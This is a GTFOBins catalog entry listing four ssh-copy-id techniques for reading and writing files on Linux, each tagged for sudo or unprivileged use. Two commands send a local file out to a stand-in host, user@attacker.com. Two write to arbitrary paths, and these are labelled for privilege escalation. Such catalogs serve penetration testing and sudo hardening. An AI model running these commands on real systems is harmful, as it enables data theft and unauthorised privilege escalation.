Catalog GTFOBins

GTFO · Tool

ssh-copy-id

4 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.

ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
Context
sudo
Native
file-read
MITRE
T1005

file-read

File Read Linux

The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.

ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux

The input file must have the `.pub` file extension.

ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
Context
sudo
Native
file-write
MITRE
T1565

file-write

File Write Linux

The input file must have the `.pub` file extension.

ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
Context
unprivileged
Native
file-write
MITRE
T1565